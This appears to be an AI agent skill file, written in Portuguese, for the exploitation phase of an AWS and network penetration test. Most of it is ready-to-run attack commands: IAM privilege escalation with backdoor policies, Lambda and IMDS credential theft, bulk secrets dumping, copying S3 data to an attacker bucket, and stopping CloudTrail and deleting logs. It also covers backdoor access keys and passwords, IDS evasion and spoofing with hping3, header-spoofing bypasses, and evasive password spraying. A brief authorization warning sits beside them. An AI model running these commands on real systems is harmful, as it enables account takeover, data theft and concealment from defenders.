bob-reis PTES Phase 5: Exploitation
🎯 pfSense Detection & Routing
IMPORTANTE: Se durante a exploração você identificar pfSense, ATIVE A SKILL
pentest-pfsenseimediatamente.
Indicadores de pfSense
# Default credentials test
curl -sk -c cookies.txt -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" https://TARGET/
# Web GUI check
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate|login_button"
# Service enumeration
nmap -sV -p 443,22,1194,500 TARGET | grep -iE "nginx|openssh|openvpn"
Sinais de Alerta
- Credenciais padrão funcionam (admin:pfsense)
- Web GUI pfSense acessível
- diag_command.php acessível (RCE pós-auth)
- XMLRPC disponível (exec_shell, exec_php)
- Pacotes vulneráveis (pfBlockerNG, Suricata, Snort)
Ação Imediata
# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para exploração geral (AWS)
# Use pentest-pfsense para:
# - CVE-2023-42326: Command Injection (interfaces_gif_edit.php)
# - CVE-2025-53392: Arbitrary File Read (diag_command.php)
# - CVE-2023-48123: Packet Capture RCE
# - CVE-2022-40624: pfBlockerNG Host Header RCE
# - CVE-2025-12490: Suricata/Snort Path Traversal → RCE
# - XMLRPC exec_shell/exec_php exploitation
Objetivo
Explorar ativamente as vulnerabilidades identificadas para confirmar impacto real e simular ataques de um adversário, seguindo PTES Section 4 (Exploitation).
WorstAssume Attack Chain Engine (worstassume/core/attack_chains.py)
7 Attack Chain Families
# Family I - IAM Self-Modification (attack_chains.py:278-338)
I. CreatePolicy + AttachUserPolicy → Self Admin Escalation
- Severity: CRITICAL
- Steps: CreatePolicy → AttachUserPolicy → Admin Access
II. CreatePolicy + AttachRolePolicy → Role Privilege Escalation
- Severity: CRITICAL
- Steps: CreatePolicy → AttachRolePolicy → AssumeRole
# Family II - PassRole + Compute Service (attack_chains.py:343-403)
II. PassRole + CloudFormation CreateStack → IAM User Creation
- Chain-ID: PassRole+CFN→IAMUser
- Severity: CRITICAL
II. PassRole + Lambda CreateFunction → Steal Execution Role
- Chain-ID: PassRole+Lambda→StealRole
- Severity: CRITICAL
II. PassRole + EC2 RunInstances → IMDS Credential Theft
- Chain-ID: PassRole+EC2→IMDSSteal
- Severity: HIGH
# Family III - Compute Credential Theft (attack_chains.py:406-522)
III. SSM SendCommand → Steal Instance Profile
- Chain-ID: SSMSendCommand→StealInstanceRole
- Severity: HIGH
III. EC2 ModifyUserData → Steal Role via UserData
- Chain-ID: EC2ModifyUserData→StealRole
- Severity: HIGH
III. Lambda UpdateCode → Steal Execution Role
- Chain-ID: Lambda:UpdateCode→StealExecRole
- Severity: HIGH
III. ECS UpdateService → Steal Task Role
- Chain-ID: ECS:UpdateService→StealTaskRole
- Severity: HIGH
# Family IV - Secret Exfiltration → Credential Reuse (attack_chains.py:525-620)
IV. SecretsManager GetSecretValue → IAM Key Reuse
- Chain-ID: SecretsManager→IAMKeyReuse
- Severity: HIGH/MEDIUM
IV. SSM GetParameter → IAM Key Reuse
- Chain-ID: SSMParameter→IAMKeyReuse
- Severity: HIGH/MEDIUM
IV. Lambda GetFunction → Env Secrets
- Chain-ID: Lambda:GetFunction→EnvSecrets
- Severity: MEDIUM
IV. S3 GetObject → Credential Files
- Chain-ID: S3:GetObject→CredFile
- Severity: MEDIUM
# Family V - Account Takeover (attack_chains.py:623-729)
V. UpdateLoginProfile → Console Takeover
- Chain-ID: UpdateLoginProfile→ConsoleTakeover
- Severity: CRITICAL
V. MFA Bypass + UpdateLogin → Takeover Without MFA
- Chain-ID: MFABypass+UpdateLogin→Takeover
- Severity: CRITICAL
V. CreateAccessKey → Persistent Admin Access
- Chain-ID: CreateAccessKey→PersistentAdmin
- Severity: CRITICAL
V. UpdateAssumeRolePolicy + AssumeRole → Role Takeover
- Chain-ID: UpdateAssumeRole+AssumeRole→Takeover
- Severity: CRITICAL
# Family VI - Group Membership (attack_chains.py:732-779)
VI. AddUserToGroup → Join High-Privilege Group
- Chain-ID: AddUserToGroup→GroupPrivEsc
- Severity: HIGH
VI. PutGroupPolicy + AddUserToGroup → Self-Escalation
- Chain-ID: PutGroupPolicy+AddUser→SelfEscalation
- Severity: CRITICAL
# Family VII - Cross-Account Lateral Movement (attack_chains.py:782-846)
VII. WildcardTrust → Any Principal Assumes High-Priv Role
- Chain-ID: WildcardTrust→AnyPrincipalAssume
- Severity: CRITICAL
VII. Cross-Account Trust → Dangerous Role → Lateral Movement
- Chain-ID: CrossAccount→DangerousRole
- Severity: CRITICAL
PrivEsc Finding Families (A-F)
# Family A - IAM Policy Manipulation (attack_chains.py:1018-1099)
A. CreatePolicyVersion (CRITICAL)
B. SetDefaultPolicyVersion (CRITICAL)
C. AttachUserPolicy (CRITICAL)
D. AttachRolePolicy (CRITICAL)
E. AttachGroupPolicy (CRITICAL)
F. PutUserPolicy (CRITICAL)
G. PutRolePolicy (CRITICAL)
H. PutGroupPolicy (CRITICAL)
I. CreatePolicy (HIGH)
J. AddUserToGroup (HIGH)
# Family B - Role Trust/Assumption Manipulation (attack_chains.py:1102-1126)
A. UpdateAssumeRolePolicy (CRITICAL)
B. WildcardTrustPrincipal (CRITICAL)
C. AssumeRoleWildcardResource (HIGH)
# Family C - Compute: PassRole + Resource Abuse (attack_chains.py:1129-1234)
A. PassRole+Lambda:CreateFunction (CRITICAL)
B. PassRole+Lambda:UpdateFunctionCode (HIGH)
C. PassRole+EC2:RunInstances (HIGH)
D. PassRole+ECS:RegisterTaskDefinition (HIGH)
E. PassRole+ECS:UpdateService (HIGH)
F. PassRole+CloudFormation:CreateStack (CRITICAL)
G. PassRole+CloudFormation:UpdateStack (HIGH)
H. PassRole+Glue:CreateJob (HIGH)
I. PassRole+SageMaker:CreateTrainingJob (HIGH)
J. PassRole+CodeBuild:CreateProject (HIGH)
K. PassRole+DataPipeline (MEDIUM)
L. PassRole+SSM:SendCommand (HIGH)
# Family D - Credential/Key Exfiltration (attack_chains.py:1237-1295)
A. EC2:ModifyInstanceAttribute (HIGH)
B. SSM:SendCommand (HIGH)
C. SecretsManager:GetSecretValue (HIGH)
D. SSM:GetParameter (MEDIUM)
E. Lambda:GetFunction (MEDIUM)
F. S3:GetObject:Wildcard (MEDIUM)
# Family E - Service-Specific Escalation (attack_chains.py:1298-1344)
A. UpdateLoginProfile (CRITICAL)
B. CreateLoginProfile (HIGH)
C. CreateAccessKey (CRITICAL)
D. UpdateAccessKey (MEDIUM)
E. MFABypass (HIGH)
# Family F - Trust Condition Bypass (attack_chains.py:1347-1426)
A. TrustPolicyNoCondition (HIGH)
B. TrustPolicyNoExternalId (HIGH)
C. TrustPolicyNoMFARequired (MEDIUM)
PATH-IDs (42 Attack Paths)
PATH-001: iam:CreatePolicyVersion → Admin em qualquer policy gerenciada
PATH-002: iam:SetDefaultPolicyVersion → Ativar versão dormante
PATH-003: iam:AttachUserPolicy → Attach em user
PATH-004: iam:AttachRolePolicy → Attach em role
PATH-005: iam:AttachGroupPolicy → Attach em group
PATH-006: iam:PutUserPolicy → Inline policy em user
PATH-007: iam:PutRolePolicy → Inline policy em role
PATH-008: iam:PutGroupPolicy → Inline policy em group
PATH-009: iam:AddUserToGroup → Herdar permissões
PATH-010: iam:UpdateAssumeRolePolicy → Modificar trust
PATH-011: iam:CreateAccessKey → Key persistente
PATH-012: iam:CreateLoginProfile → Console access
PATH-013: iam:UpdateLoginProfile → Overwrite password
PATH-014: IMDSv1 → Credential theft (IMDSv1 enabled)
PATH-015: ec2:RunInstances + iam:PassRole → EC2 instance profile
PATH-016: lambda:CreateFunction + iam:PassRole → Lambda execution role
PATH-018: lambda:CreateEventSourceMapping → Auto-trigger
PATH-019: lambda:UpdateFunctionCode → Inject code
PATH-020: lambda:UpdateFunctionConfiguration → Malicious layer
PATH-021: glue:CreateDevEndpoint → SSH access
PATH-022: glue:UpdateDevEndpoint → SSH key injection
PATH-023: cloudformation:CreateStack → Service role
PATH-024: datapipeline:CreatePipeline → Shell activity
PATH-025: sagemaker:CreateNotebookInstance → Notebook
PATH-026: sagemaker:CreatePresignedUrl → Session hijack
PATH-027: codestar:CreateProject → Project role
PATH-030: sts:AssumeRole (same-account) → Role assumption
PATH-031: sts:AssumeRole (cross-account) → Lateral movement
PATH-032: ssm:SendCommand → RCE via Run Command
PATH-033: ec2:InstanceConnect → SSH via public key
PATH-035: s3:PutBucketPolicy → Bucket access
PATH-036: secretsmanager:GetSecretValue → Secret harvest
PATH-037: ecs-tasks:GetTaskMetadata → Task role creds
PATH-042: cloudtrail:StopLogging / guardduty:DeleteDetector → Defensive blinding
Referências PTES para Exploitation
PTES 4.1 - Precision Strike
- 4.1.1 Countermeasure Bypass:
- 4.1.1.1 AV (Antivirus)
- 4.1.1.2 Human (Social Engineering)
- 4.1.1.3 HIPS (Host Intrusion Prevention)
- 4.1.1.4 DEP (Data Execution Prevention)
- 4.1.1.5 ASLR (Address Space Layout Randomization)
- 4.1.1.8 WAF (Web Application Firewall)
- 4.1.1.9 Stack Canaries
PTES 4.2 - Customized Exploitation
- 4.2.1 Fuzzing (Dumb, Intelligent)
- 4.2.4 Sniffing (Wireshark, Tcpdump)
- 4.2.5 Brute-Force (THC-Hydra, Medusa, Ncrack)
- 4.2.14 VLAN Hopping
- 4.2.15 VTP Attacks
PTES 4.4 - Attacking the User
- 4.4.1 Karmetasploit Attacks
- 4.4.5 Web Attacks (SQLi, XSS, CSRF)
- 4.4.10 The Social-Engineer Toolkit (SET)
PTES 4.7 - Pillaging
- 4.7.2 Data Exfiltration
- 4.7.3 Locating Shares
- 4.7.6 Database Enumeration
- 4.7.8 Source Code Repos
- 4.7.11 Backups
PTES 4.9 - Further Penetration
- 4.9.1 Pivoting Inside (History/Logs)
- 4.9.2 Cleanup
PTES 4.10 - Persistence
⚠️ AVISO IMPORTANTE
- Execute apenas em ambientes autorizados
- Tenha approval explícito para cada técnica de exploração
- Documente todas as ações para o relatório
- Use stealth mode quando necessário para evitar detecção
Exploração com WorstAssume
1. Descoberta de Attack Paths (PTES 4.2 - Customized Exploitation)
# Encontrar todos os paths de privilege escalation
worst privesc --from arn:aws:iam::ACCOUNT:user/USER
# Paths com target específico (permission)
worst privesc --from arn:aws:iam::ACCOUNT:user/USER --target "permission:*:*"
# Paths com target específico (role)
worst privesc --from arn:aws:iam::ACCOUNT:user/USER --target "principal:arn:aws:iam::ACCOUNT:role/Admin"
# Output em JSON para automação (PTES 4.9 - Pivoting)
worst privesc --from <arn> --output json
# Limitar hops (para ambientes grandes)
worst privesc --from <arn> --max-hops 5
2. Técnicas de Exploração por Categoria (PTES 4.1 - Precision Strike)
EXPLOIT-IAM-001: Policy Version Creation (PTES 4.1.1 - Countermeasure Bypass)
VULNERABILITY: iam:CreatePolicyVersion
PATH-ID: PATH-001
SEVERITY: CRITICAL
PTES: 4.1.1 - Countermeasure Bypass
EXPLOITATION STEPS:
1. Identificar policy gerenciada acessível
2. Criar nova versão com AdministratorAccess
3. Definir como versão default
4. Acessar com privilégios elevados
COMANDOS DE EXPLORAÇÃO:
# Criar nova versão da policy
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT:policy/TargetPolicy \
--policy-document file://admin-policy.json \
--set-as-default
# Policy document malicioso
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}
VERIFICAÇÃO:
aws iam list-policy-versions --policy-arn <arn>
EXPLOIT-IAM-002: Attach Policy (PTES 4.2 - Customized Exploitation)
VULNERABILITY: iam:AttachUserPolicy / iam:AttachRolePolicy
PATH-ID: PATH-003, PATH-004
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation
EXPLOITATION STEPS:
1. Identificar policy com AdministratorAccess
2. Attach policy ao próprio user/role
3. Aguardar propagação (~30 segundos)
4. Verificar novas permissões
COMANDOS DE EXPLORAÇÃO:
aws iam attach-user-policy \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
--user-name <self-user>
VERIFICAÇÃO:
aws iam list-attached-user-policies --user-name <user>
EXPLOIT-IAM-003: Inline Policy Injection (PTES 4.2.1 - Fuzzing)
VULNERABILITY: iam:PutUserPolicy / iam:PutRolePolicy
PATH-ID: PATH-006, PATH-007
SEVERITY: CRITICAL
PTES: 4.2.1 - Fuzzing
EXPLOITATION STEPS:
1. Criar policy document malicioso
2. Inject inline policy no target
3. Usar novas permissões
COMANDOS DE EXPLORAÇÃO:
aws iam put-user-policy \
--user-name <target-user> \
--policy-name BackdoorPolicy \
--policy-document file://admin-policy.json
EXPLOIT-IAM-004: Group Membership Escalation (PTES 4.7.3 - Locating Shares)
VULNERABILITY: iam:AddUserToGroup
PATH-ID: PATH-009
SEVERITY: HIGH
PTES: 4.7.3 - Locating Shares
EXPLOITATION STEPS:
1. Identificar grupo com permissões elevadas
2. Adicionar próprio user ao grupo
3. Herdar permissões do grupo
COMANDOS DE EXPLORAÇÃO:
aws iam add-user-to-group \
--user-name <self-user> \
--group-name AdminGroup
VERIFICAÇÃO:
aws iam list-groups-for-user --user-name <user>
EXPLOIT-IAM-005: Trust Policy Modification (PTES 4.2 - Customized Exploitation)
VULNERABILITY: iam:UpdateAssumeRolePolicy
PATH-ID: PATH-010
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation
EXPLOITATION STEPS:
1. Identificar role de alto valor
2. Modificar trust policy para incluir próprio ARN
3. Assumir a role
4. Acessar com privilégios elevados
COMANDOS DE EXPLORAÇÃO:
# Criar novo trust policy
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::ACCOUNT:user/attacker",
"arn:aws:iam::ACCOUNT:role/original-role"
]
},
"Action": "sts:AssumeRole"
}]
}
# Atualizar trust policy
aws iam update-assume-role-policy \
--role-name <target-role> \
--policy-document file://new-trust.json
# Assumir role
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT:role/target-role \
--role-session-name exploitation
EXPLOIT-IAM-006: Credential Creation (PTES 4.7 - Pillaging)
VULNERABILITY: iam:CreateAccessKey / iam:CreateLoginProfile
PATH-ID: PATH-011, PATH-012
SEVERITY: CRITICAL
PTES: 4.7 - Pillaging
EXPLOITATION STEPS (Access Key):
1. Identificar user alvo (admin)
2. Criar access key para o user
3. Salvar credenciais
4. Usar credenciais persistentes
COMANDOS DE EXPLORAÇÃO:
aws iam create-access-key --user-name <admin-user>
# Output:
# {
# "AccessKey": {
# "AccessKeyId": "AKIA...",
# "SecretAccessKey": "secret..."
# }
# }
# Configurar perfil
aws configure set aws_access_key_id AKIA... --profile compromised
aws configure set aws_secret_access_key secret... --profile compromised
EXPLOITATION STEPS (Console):
aws iam create-login-profile \
--user-name <admin-user> \
--password 'SecurePassword123!' \
--no-password-reset-required
ACESSO:
https://ACCOUNT_ID.signin.aws.amazon.com/console
Username: <admin-user>
Password: SecurePassword123!
EXPLOIT-COMPUTE-001: PassRole + Lambda (PTES 4.2 - Customized Exploitation)
VULNERABILITY: iam:PassRole + lambda:CreateFunction
PATH-ID: PATH-016
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation
EXPLOITATION STEPS:
1. Identificar role com permissões elevadas
2. Criar Lambda function com essa role
3. Inject código malicioso
4. Invocar function
5. Coletar credenciais da role
COMANDOS DE EXPLORAÇÃO:
# Criar deployment package
mkdir lambda_function
cd lambda_function
echo "import os
def lambda_handler(event, context):
return {
'access_key': os.environ['AWS_ACCESS_KEY_ID'],
'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],
'session_token': os.environ.get('AWS_SESSION_TOKEN', '')
}" > lambda_function.py
zip -r function.zip .
# Criar function
aws lambda create-function \
--function-name exfil-function \
--runtime python3.9 \
--role arn:aws:iam::ACCOUNT:role/high-priv-role \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip
# Invocar
aws lambda invoke \
--function-name exfil-function \
--cli-binary-format raw-in-base64-out \
--payload '{}' \
output.json
cat output.json
EXPLOIT-COMPUTE-002: PassRole + EC2 (PTES 4.7.2 - Data Exfiltration)
VULNERABILITY: iam:PassRole + ec2:RunInstances
PATH-ID: PATH-015
SEVERITY: HIGH
PTES: 4.7.2 - Data Exfiltration
EXPLOITATION STEPS:
1. Identificar role com permissões elevadas
2. Launch EC2 instance com instance profile
3. Acessar instância (SSH/SSM)
4. Coletar credenciais do IMDS
COMANDOS DE EXPLORAÇÃO:
aws ec2 run-instances \
--image-id ami-0c55b159cbfafe1f0 \
--instance-type t2.micro \
--iam-instance-profile Name=high-priv-profile \
--security-group-ids sg-xxx \
--subnet-id subnet-xxx
# Acessar via SSM
aws ssm start-session --target <instance-id>
# Coletar credenciais (dentro da instância)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
EXPLOIT-COMPUTE-003: SSM Lateral Movement (PTES 4.9 - Pivoting)
VULNERABILITY: ssm:SendCommand
PATH-ID: PATH-032
SEVERITY: HIGH
PTES: 4.9.1 - Pivoting Inside
EXPLOITATION STEPS:
1. Identificar EC2 instances gerenciadas pelo SSM
2. Enviar Run Command
3. Executar comandos como a role da instância
COMANDOS DE EXPLORAÇÃO:
aws ssm send-command \
--document-name "AWS-RunShellScript" \
--targets "Key=instanceIds,Values=<instance-id>" \
--parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/"]' \
--comment "Exploitation test"
# Ver resultado
aws ssm list-command-invocations --command-id <command-id> --details
EXPLOIT-DATA-001: Secrets Manager Harvest (PTES 4.7 - Pillaging)
VULNERABILITY: secretsmanager:GetSecretValue
PATH-ID: PATH-036
SEVERITY: HIGH
PTES: 4.7 - Pillaging
EXPLOITATION STEPS:
1. Listar todos os secrets
2. Ler valor de cada secret
3. Extrair credenciais/dados sensíveis
COMANDOS DE EXPLORAÇÃO:
# Listar secrets
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}'
# Ler cada secret
aws secretsmanager get-secret-value --secret-id <secret-name> --query 'SecretString' --output text
EXPLOIT-CROSS-001: Cross-Account Assumption (PTES 4.9 - Pivoting)
VULNERABILITY: Cross-account trust + sts:AssumeRole
PATH-ID: PATH-031
SEVERITY: CRITICAL
PTES: 4.9.1 - Pivoting Inside
EXPLOITATION STEPS:
1. Identificar role cross-account com trust adequado
2. Assumir role da conta alvo
3. Executar ações na conta alvo
COMANDOS DE EXPLORAÇÃO:
aws sts assume-role \
--role-arn arn:aws:iam::TARGET_ACCOUNT:role/cross-account-role \
--role-session-name cross-account-exploit
# Configurar credenciais da conta alvo
export AWS_ACCESS_KEY_ID=<from assume-role output>
export AWS_SECRET_ACCESS_KEY=<from assume-role output>
export AWS_SESSION_TOKEN=<from assume-role output>
# Verificar identidade na conta alvo
aws sts get-caller-identity
3. Cadeias de Exploração Completa (PTES 4.2 - Customized Exploitation)
Chain A: IAM → Admin Completo (PTES 4.1 - Precision Strike)
CHAIN: CreatePolicy + AttachUserPolicy
PTES: 4.1 - Precision Strike
STEPS:
1. aws iam create-policy-version --policy-arn <policy> --policy-document admin.json --set-as-default
2. aws iam attach-user-policy --policy-arn <policy> --user-name <self>
3. aws sts get-caller-identity (verificar permissões)
IMPACTO: Admin completo na conta
Chain B: PassRole → Lambda → Admin (PTES 4.2 - Customized Exploitation)
CHAIN: PassRole + Lambda CreateFunction
PTES: 4.2 - Customized Exploitation
STEPS:
1. aws lambda create-function --role <high-priv-role> --function-name backdoor
2. aws lambda invoke --function-name backdoor
3. Coletar credenciais do output
IMPACTO: Credenciais de role administrativa
Chain C: Cross-Account → Lateral Movement (PTES 4.9 - Pivoting)
CHAIN: Cross-Account Trust → Dangerous Role
PTES: 4.9.1 - Pivoting Inside
STEPS:
1. aws sts assume-role --role-arn arn:aws:iam::TARGET:role/exploit
2. aws iam attach-user-policy (na conta alvo)
3. aws s3 ls (acessar dados na conta alvo)
IMPACTO: Comprometimento de múltiplas contas
EXPLOIT-NET-000: Network Reconnaissance com Naabu (PTES 4.1 - Precision Strike)
Nota: Antes de explorar, use Naabu para identificar superfície de ataque:
# Identificar portas abertas (alvos potenciais)
naabu -host target.com -p - -silent
# Com service discovery
naabu -host target.com -p - -sV -silent
# Identificar CDN/WAF
naabu -host target.com -ec -cdn -silent
# Output para análise
naabu -host target.com -j -o scan-results.json
Use os resultados do Naabu para priorizar alvos de exploração.
EXPLOIT-NET-001: Firewall Bypass e IDS Evasion com hping3 (PTES 4.1.1 - Countermeasure Bypass)
VULNERABILITY: Firewall ruleset misconfiguration / IDS evasion
TOOL: hping3 (instalado no Kali Linux)
SEVERITY: HIGH (depende do contexto)
PTES: 4.1.1 - Countermeasure Bypass / 4.2.5 - Brute-Force
QUANDO USAR:
- Firewall stateless detectado na fase de Intelligence Gathering
- IDS/IPS precisa ser testado para detecção de scans
- Necessário bypass de filtros de pacote por fragmentação
- Testar rate limiting de rede
- Mapear comportamento de firewall para exploração posterior
EXPLOITATION STEPS:
1. ACK Scan para bypass de firewall stateless
hping3 -A -p 80 target.com
# RST = porta não filtrada (firewall stateless não rastreia estado)
# Sem resposta = firewall stateful ou drop
2. SYN Scan com fragmentação (bypass de ACLs)
hping3 -S -p 80 -f target.com
# Fragmenta packets em 2 partes, bypass de regras simples
3. XMAS Scan para evasão de IDS básico
hping3 -F -P -U -p 80 target.com
# Flags FIN+PUSH+URG, padrão anômalo que alguns IDS não detectam
4. NULL Scan (sem flags)
hping3 -O -p 80 target.com
# Nenhuma flag TCP, bypass de filtros baseados em flags
5. Source IP Spoofing para testes de IDS
hping3 -S -p 80 -a 10.0.0.1 target.com
# Testa se IDS correlaciona respostas com origem real
6. Random source IP (teste de detecção de spoofing)
hping3 -S -p 80 --rand-source target.com
INTERPRETAÇÃO DOS RESULTADOS:
- SYN-ACK recebido = porta aberta (firewall permite)
- RST recebido = porta fechada (firewall permite)
- Sem resposta = porta filtrada ou drop pelo firewall
PAYLOADS DE FRAGMENTAÇÃO:
# Fragmentação manual com offset customizado
hping3 -S -p 80 -f -g 8 target.com # offset de 8 bytes
# MTU virtual para fragmentação automática
hping3 -S -p 80 -m 16 target.com # MTU de 16 bytes
DEFENSIVE BLINDING TEST (PTES 4.9.2 - Cleanup):
# Testar se tráfego é logado
hping3 -S -p 80 -c 10 target.com
# Verificar logs do firewall/IDS após scan
TEMPLATE DE FINDING:
FINDING: FIREWALL-BYPASS-HPING3
CATEGORY: NETWORK_EXPLOITATION
SEVERITY: HIGH
PTES: 4.1.1 - Countermeasure Bypass
TARGET:
- IP/Hostname: [target]
- Portas acessíveis via bypass: [lista]
DESCRIPTION:
Firewall stateless detectado permite bypass via ACK scan.
Portas [X, Y, Z] acessíveis usando técnicas de evasão.
EVIDENCE:
hping3 -A -p 80 target.com → RST recebido (não filtrado)
PTES REFERENCE: Section 4.1.1 (Countermeasure Bypass)
EXPLOIT-WEB-001: HTTP Header Injection - IP Bypass com headi (PTES 4.1.1.8 - WAF Bypass)
VULNERABILITY: Controle de acesso baseado em IP via headers HTTP
TOOL: headi (instalado em /opt/Tools/HTTP-Injection/headi)
SEVERITY: HIGH/CRITICAL
PTES: 4.1.1.8 - WAF Bypass / 4.2 - Customized Exploitation
QUANDO USAR:
- Recurso retorna 403/401 por restrição de IP
- Suspeita de proxy reverso que confia em headers do cliente
- Endpoint interno acessível via header spoofing
- Bypass de WAF por IP whitelist
EXPLOITATION STEPS:
1. Confirmar o bloqueio baseline
curl -v https://target.com/restricted → 403 Forbidden
2. Executar headi com payloads padrão (localhost bypass)
headi -u https://target.com/restricted
3. Se IPs internos foram enumerados na fase de Intelligence Gathering:
headi -u https://target.com/restricted -p internal_ips.txt
4. Confirmar bypass manualmente com o header identificado
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/restricted
curl -H "X-Real-IP: 127.0.0.1" https://target.com/restricted
5. Explorar o recurso agora acessível
INTERPRETAÇÃO DO OUTPUT:
[+] verde = mudança no Content-Length → bypass em potencial
[-] vermelho = sem mudança
Exemplo positivo:
[+] [https://target.com/admin] [X-Forwarded-For: 127.0.0.1] [Code: 200] [Size: 8192]
PAYLOADS PADRÃO DO HEADI:
127.0.0.1, localhost, 0.0.0.0, 0, 127.1, 127.0.1, 2130706433
HEADERS MAIS EFETIVOS PARA BYPASS:
- X-Forwarded-For (mais comum em proxies/load balancers)
- X-Real-IP (nginx)
- X-Custom-IP-Authorization (aplicações customizadas)
- True-Client-IP (Cloudflare)
- X-Original-URL / X-Rewrite-URL (IIS/mod_rewrite bypass)
VARIAÇÃO - SSRF via Host header:
headi pode identificar Host header injection → use para SSRF
curl -H "X-Forwarded-Host: attacker.com" https://target.com/
4. Técnicas de Evasão (PTES 4.1.1 - Countermeasure Bypass)
Evitar CloudTrail Detection (PTES 4.1.1 - Bypass)
# Usar endpoints VPC (não logged)
aws s3 ls --endpoint-url https://s3.vpce.amazonaws.com
# Usar sessões temporárias (menor rastro)
aws sts assume-role --role-arn <role> --role-session-name temp
# Evitar ações de escrita destrutivas
# Em vez de DeleteBucket: apenas listar
aws s3 ls s3://target-bucket
Rate Limiting (PTES 4.1.1 - Human Bypass)
# Adicionar delay entre comandos
sleep 2 && aws iam attach-user-policy ...
sleep 2 && aws sts get-caller-identity
Log Deletion (PTES 4.9.2 - Cleanup)
# Parar CloudTrail (apenas se autorizado!)
aws cloudtrail stop-logging --name <trail-name>
# Deletar logs específicos
aws logs delete-log-group --log-group-name /aws/cloudtrail/...
5. Documentação da Exploração (PTES 6.2 - Technical Reporting)
Template de Evidência (PTES 4.7 - Pillaging)
EXPLOITATION: [Nome da técnica]
DATE: [YYYY-MM-DD HH:MM:SS UTC]
TARGET: [ARN do recurso]
PATH-ID: [PATH-XXX]
PTES SECTION: [4.1/4.2/4.4/4.7/4.9]
PRE-EXPLOITATION STATE:
[Estado antes da exploração]
COMMANDS EXECUTED:
[Comandos exatos executados]
POST-EXPLOITATION STATE:
[Estado após exploração]
EVIDENCE:
[Screenshots, outputs, logs]
IMPACT CONFIRMED:
[O que foi confirmado com esta exploração]
PTES REFERENCE:
- Section: [PTES 4.x]
- Subsection: [Specific technique]
6. Validação de Sucesso (PTES 4.9 - Pivoting)
# Verificar permissões atuais
aws sts get-caller-identity
# Listar permissões efetivas
aws iam simulate-principal-policy \
--policy-source-arn <self-arn> \
--action-names "*" \
--resource-arns "*"
# Verificar acesso a recursos críticos
aws s3 ls
aws secretsmanager list-secrets
aws ec2 describe-instances
7. Persistence Techniques (PTES 4.10 - Persistence)
Backdoor Access Keys
# Criar access key persistente (apenas se autorizado!)
aws iam create-access-key --user-name <compromised-user>
# Guardar para acesso futuro
# ARN: AKIA...
# Secret: ...
Login Profile Creation
# Criar console access
aws iam create-login-profile \
--user-name <compromised-user> \
--password 'BackdoorPassword123!' \
--no-password-reset-required
Lambda Backdoor
# Criar Lambda com trigger
aws lambda create-function \
--function-name backdoor-function \
--runtime python3.9 \
--role arn:aws:iam::ACCOUNT:role/backdoor-role \
--handler lambda_function.lambda_handler \
--zip-file fileb://backdoor.zip
8. Data Exfiltration (PTES 4.7.2 - Data Exfiltration)
S3 Exfiltration
# Listar buckets acessíveis
aws s3 ls
# Copiar dados para bucket controlado
aws s3 cp s3://target-bucket/sensitive-data/ s3://attacker-bucket/ --recursive
Secrets Exfiltration
# Exportar todos os secrets
aws secretsmanager list-secrets --query 'SecretList[].Name' | xargs -I {} \
aws secretsmanager get-secret-value --secret-id {} >> exfiltrated-secrets.txt
Database Dump
# Conectar ao RDS via SSM
aws ssm start-session --target <instance-id>
# Dump database
mysqldump -h <rds-endpoint> -u admin -p database > dump.sql
9. Output Esperado desta Fase (PTES Deliverables)
Exploitation Report (PTES 4 - Exploitation)
- Lista de vulnerabilities exploradas com sucesso (PTES 4.1 - Precision Strike)
- Evidências de cada exploração (screenshots, outputs) (PTES 4.7 - Pillaging)
- Attack paths confirmados (PTES 4.2 - Customized Exploitation)
- Credenciais comprometidas (para relatório) (PTES 4.7 - Pillaging)
- Impacto real validado (PTES 4.9 - Pivoting)
- Persistence mechanisms established (PTES 4.10 - Persistence)
- Data exfiltration evidence (PTES 4.7.2 - Data Exfiltration)
- Password audit results (security-passwords plugin)
- CTF exploitation techniques applied (ctf-assistant agent)
Password Attacks com security-passwords
Recursos Disponíveis (security-passwords plugin)
Local: `seclists-categories passwords/passwords/references/`
Wordlists Disponíveis:
- `500-worst-passwords.txt` - Quick tests for weak passwords
- `10k-most-common.txt` - Common passwords for brute force
- `100k-most-used-passwords-NCSC.txt` - NCSC password list
- `probable-v2_top-12000.txt` - Statistically probable passwords
- `darkweb2017_top-100.txt` - Dark web breach compilations
- `darkweb2017_top-1000.txt` - Extended dark web list
- `darkweb2017_top-10000.txt` - Full dark web compilation
- `2024-197_most_used_passwords.txt` - Recent password analysis
- `top-passwords-shortlist.txt` - Quick reference list
- `best1050.txt` - Curated best passwords list
Brute Force Attacks (PTES 4.2.5 - Brute-Force)
# Hydra - SSH brute force
hydra -L seclists-categories/usernames/top-usernames-shortlist.txt \
-P seclists-category/passwords/500-worst-passwords.txt \
ssh://target.com
# Hydra - HTTP POST form
hydra -l admin -P seclists-category/passwords/10k-most-common.txt \
target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid"
# Hashcat - Password cracking
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/500-worst-passwords.txt
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/10k-most-common.txt
# John the Ripper
john --wordlist=seclists-category/passwords/500-worst-passwords.txt hash.txt
john --wordlist=seclists-category/passwords/probable-v2_top-12000.txt hash.txt
Password Spraying
# Low-and-slow password spraying
for password in $(cat seclists-category/passwords/500-worst-passwords.txt); do
curl -s -X POST https://target.com/login \
-d "username=admin&password=$password" \
-o /dev/null -w "%{http_code}\n"
sleep 5 # Avoid detection
done
Default Credentials (cirt-default-usernames.txt)
